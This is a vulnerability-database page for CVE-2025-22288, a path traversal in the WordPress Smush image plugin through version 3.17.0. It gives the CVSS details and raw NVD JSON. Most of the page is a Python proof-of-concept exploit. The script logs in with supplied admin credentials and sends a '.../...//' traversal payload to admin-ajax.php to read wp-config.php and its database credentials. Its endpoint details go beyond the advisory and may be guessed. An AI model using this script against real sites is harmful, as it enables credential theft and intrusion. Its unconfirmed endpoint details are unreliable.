Security Vulnerability Report
中文
CVE-2025-22288 CVSS 4.1 MEDIUM

CVE-2025-22288

Published: 2025-11-06 16:15:50
Last Modified: 2026-04-15 00:35:42

Description

Path Traversal: '.../...//' vulnerability in WPMU DEV - Your All-in-One WordPress Platform Smush Image Compression and Optimization wp-smushit allows Path Traversal.This issue affects Smush Image Compression and Optimization: from n/a through <= 3.17.0.

CVSS Details

CVSS Score
4.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Smush Image Compression and Optimization plugin <= 3.17.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-22288 Path Traversal PoC # Target: WordPress with Smush plugin <= 3.17.0 def exploit_cve_2025_22288(target_url, wp_user, wp_password): """ Exploit path traversal vulnerability in Smush plugin Target: WordPress site with wp-smushit plugin <= 3.17.0 Required: High privilege WordPress user credentials """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': wp_user, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in to {target_url}...") resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Path traversal payload targeting wp-config.php # Using '.../...//' pattern to bypass basic filters traversal_payload = ".../...//.../...//wp-config.php" # Smush API endpoint for image optimization smush_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request exploit_data = { 'action': 'smush_optimize_file', 'file_path': traversal_payload, 'filename': 'malicious.png' } print(f"[*] Sending path traversal payload: {traversal_payload}") resp = session.post(smush_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Response received (Status: {resp.status_code})") print(f"[*] Response preview: {resp.text[:500]}") # Check if sensitive data was leaked if 'DB_NAME' in resp.text or 'DB_USER' in resp.text: print("[!] VULNERABLE! Database credentials leaked!") return True elif resp.text and len(resp.text) > 100: print("[!] Potential file content leaked - manual verification needed") return True print("[-] Exploitation may have failed or target is patched") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <wp_user> <wp_password>") print(f"Example: python {sys.argv[0]} http://example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] exploit_cve_2025_22288(target, user, password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22288", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:49.647", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path Traversal: '.../...//' vulnerability in WPMU DEV - Your All-in-One WordPress Platform Smush Image Compression and Optimization wp-smushit allows Path Traversal.This issue affects Smush Image Compression and Optimization: from n/a through <= 3.17.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-35"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-smushit/vulnerability/wordpress-smush-image-compression-and-optimization-plugin-3-17-0-directory-traversal-vulnerability?_s_id=cve", "source": "[email protected]"}]}}